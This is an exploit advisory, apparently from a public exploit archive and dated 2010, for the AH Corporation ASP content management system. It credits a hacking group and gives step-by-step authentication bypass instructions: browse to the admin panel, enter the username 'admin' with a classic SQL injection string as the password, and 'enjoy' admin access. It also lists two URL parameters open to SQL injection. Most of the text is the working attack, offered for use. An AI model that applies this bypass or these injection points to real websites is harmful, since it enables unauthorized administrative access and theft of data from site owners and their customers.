AH Corporation CMS Multiple Vulnerabilities

===========================================
AH Corporation CMS Multiple Vulnerabilities
===========================================

#########################################################################

[+] Exploit Title : AH Corporation CMS Multiple Vulnerabilities
[~] Author : ThunDEr HeaD
[~] Contact : [email protected]
[~] Date : 13-11-2010
[~] HomePage : www.indishell.in
[~] Price : $402 Or Rs.35,000/-
[~] Version : n/a
[~] Software: http://www.ahcorporation.com/webdesigningpackages.htm
[~] Vulnerability Style : Authentication Bypass / Sql Injection (asp)

#########################################################################

~~~~~~~~~~~~~~~~~~~~~~~~~[Greetz To]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

             ----==  INDIAN CYBER ARMY ==----

We Are: -[SiLeNtp0is0n]- , stRaNgEr , inX_rOot , NEO H4cK3R , DarkL00k
, G00g!3 [email protected]!0r , str1k3r, co0Lt04d , ATUL DWIVEDI , Jackh4xor , Th3
RDX

shouts to : "Rajputgal Mahi" and all IW members :)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

~~~~~~~~~~~~~~~~~~~~~~~~~~[EXPLOIT]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

---==[Authentication Bypass]==---

[1] Go to the URL:

   http://server/cp

[2] Apply these details for login:

       Username: admin
       PassWord: ' or 1=1 or ''='

[3] You will Redirected to Admin page:

[4] Enjoy

---==[Sql Injection (s)]==---

http://server/more.asp?itemCode=1

http://server/products.asp?catID=18

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Bug discovered : 13 November 2010

finish(0);
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=



#  0day.today [2018-02-06]  #